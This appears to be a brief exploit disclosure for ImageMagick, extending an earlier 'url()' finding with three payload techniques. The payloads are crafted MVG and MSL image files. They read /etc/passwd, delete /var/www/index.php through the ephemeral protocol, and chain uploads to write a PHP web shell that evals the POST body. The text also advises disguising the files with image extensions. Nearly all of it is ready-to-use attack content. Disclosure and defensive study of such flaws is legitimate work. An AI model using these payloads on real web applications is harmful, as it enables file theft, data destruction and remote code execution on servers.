Credit to @CrazedSec for original paper, ID 4698

ImageMagick is vulnerable to a variety of attacks that allow reading, deleting,
and writing files.

Here are some useful trick to complement the fill 'url()' vulnerability
described by @CrazedSec.

@air


== 1 ==

It's possible to read arbitrary files from a web server by uploading an
ImageMagick Vector Graphics file (MVG) that the web application processes with
ImageMagick:

push graphic-context
    viewbox 0 0 1024 1024
    image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

As is the case with all of these vulnerabilities, the file doesn't need to be
uploaded with a .mvg extension.  You can change it to .png, .jpg, or anything
else.

If the file doesn't exist, you'll see the @ symbol plus the filename as the
output.


== 2 ==

You can use a similar technique to delete a file, provided ImageMagick is built
with support for it's ephemeral protocol:

push graphic-context
    viewbox 0 0 1024 1024
    image over 0,0 0,0 'ephemeral:/var/www/index.php'
pop graphic-context


== 3 ==

You can move files around, provided you're able to determine the location of
uploaded files.  This can be used to upload new files as well as overwrite
existing files.

first_image.png:

<?xml version="1.0" encoding="UTF-8"?>
<image>
    <read filename="/var/www/uploads/second_image.png"/>
    <write filename="/var/www/hi.php"/>
</image>


second_image.png:

push graphic-context
    viewbox 0 0 1024 1024
    image over 0,0 0,0 'label:<?php if($_SERVER["REQUEST_METHOD"]=="POST")eval(file_get_contents("php://input")); ?>'
pop graphic-context


third_image.png:

push graphic-context
    viewbox 0 0 1024 1024
    image over 0,0 0,0 'msl:/var/www/uploads/first_image.png'
pop graphic-context